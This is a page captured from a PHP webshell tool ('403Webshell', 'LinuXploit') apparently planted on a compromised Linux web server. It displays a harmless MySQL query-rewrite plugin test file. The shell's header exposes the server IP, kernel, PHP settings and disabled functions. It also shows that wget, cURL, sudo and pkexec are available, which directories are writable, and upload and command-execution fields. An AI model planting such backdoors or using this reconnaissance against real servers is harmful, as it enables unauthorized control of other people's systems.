403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.171.27
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/query_rewrite_plugins/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/query_rewrite_plugins/include/basic.inc
CREATE TABLE t1 ( a VARCHAR(10), b VARCHAR(10) );
INSERT INTO t1 VALUES ( 'abc', 'def' ), ( 'ghi', 'klm' ), ( 'nop', 'qrs' );

CREATE TABLE t2 ( a VARCHAR(10) );
INSERT INTO t2 VALUES ( 'abc' ), ( 'klm' );

--echo # Test of literals matching.

INSERT INTO query_rewrite.rewrite_rules ( pattern, replacement )
VALUES ( 'SELECT ?', 'SELECT "literal"' );

SELECT * FROM query_rewrite.rewrite_rules;
CALL query_rewrite.flush_rewrite_rules();
SELECT * FROM query_rewrite.rewrite_rules;

SELECT NULL;
SELECT 'abc';
SELECT 1;
SELECT 1.1;
SELECT 123456789123456789123456789123456789123456789123456789;

--echo # Check our status variables.
SHOW STATUS LIKE 'Rewriter%';

DELETE FROM query_rewrite.rewrite_rules;

INSERT INTO query_rewrite.rewrite_rules ( pattern, replacement )
VALUES ( 'SELECT * FROM test.t1 WHERE ( a = ? AND TRUE ) OR b = ?',
         'SELECT a FROM test.t1 WHERE a = ?' ),

       ( 'SELECT a FROM test.t1',
         'SELECT * FROM test.t1 WHERE a = \'abc\'' ),

       ( 'SELECT a FROM test.t1 WHERE b = ?',
         'SELECT * FROM test.t1 WHERE b = ?' ),

       ( 'SELECT * FROM test.t2',
         'SELECT * FROM test.t1 JOIN test.t2 ON t1.a = t2.a' ),

       ( 'SELECT * FROM test.t1 WHERE a = ? OR b = ?',
         'SELECT * FROM test.t1 WHERE b = ? OR a = ?' );

SELECT * FROM query_rewrite.rewrite_rules;
CALL query_rewrite.flush_rewrite_rules();
SELECT * FROM query_rewrite.rewrite_rules;

--echo # Check a query that doesn't have a rewrite rule doesn't get rewritten.
SELECT b FROM test.t1;

--echo # Check a query with just one parameter.
SELECT a FROM test.t1 WHERE b = 'qrs';

--echo # Check a rule with parameter truncation (fewer parameters in the
--echo # output query than in the input query);
SELECT * FROM test.t1 WHERE ( a = 'abc' AND TRUE ) OR b = 'klm';
SELECT * FROM test.t1 WHERE ( a = 'abc' AND FALSE ) OR b = 'klm';

--echo # Check a non parameterized query.
SELECT * from t1 WHERE a = 'abc';

--echo # Check that a non-rewritten query does not yield a warning.
SELECT b FROM test.t1;

--echo # Check that a query is not rewritten if the query corresponds to a
--echo # replacement.
SELECT a FROM test.t1;

--echo # Check that we can execute a rewrite more than once.
SELECT * FROM test.t2;

SELECT * FROM test.t2;

--echo # Remove the warnings.
SELECT b FROM test.t1;

--echo # Check parameter switching in a query rewrite
SELECT * FROM test.t1 WHERE a = 'def' OR b = 'ghi';

--echo # Verify with whitespace.
SELECT * FROM test.t1   WHERE   a  = 'def' OR b  =  'ghi';

--echo # Verify with comments.
SELECT * FROM test.t1 WHERE a =/* 'def' ? */'def' OR b = 'ghi';

--echo # Check our status variables.
SHOW STATUS LIKE 'Rewriter%';

DROP TABLE t1;
DROP TABLE t2;

DELETE FROM query_rewrite.rewrite_rules;

--echo # Test of literals matching.
INSERT INTO query_rewrite.rewrite_rules ( pattern, replacement )
VALUES ( 'SELECT 1, ?', 'SELECT "rewritten w/rule 1"' ),
       ( 'SELECT 2, ?', 'SELECT "rewritten w/rule 2"' ),
       ( 'SELECT "The_original_query"', 'SELECT "The_rewritten_query"');

SELECT * FROM query_rewrite.rewrite_rules;
CALL query_rewrite.flush_rewrite_rules();
SELECT * FROM query_rewrite.rewrite_rules;

SELECT 1, 1;
SELECT 1, 2;
SELECT 2, 1;
SELECT 2, 2;
SELECT 3, 1;
SELECT 3, 2;
SELECT 'The_original_query';

DELETE FROM query_rewrite.rewrite_rules;

Youez - 2016 - github.com/yon3zu
LinuXploit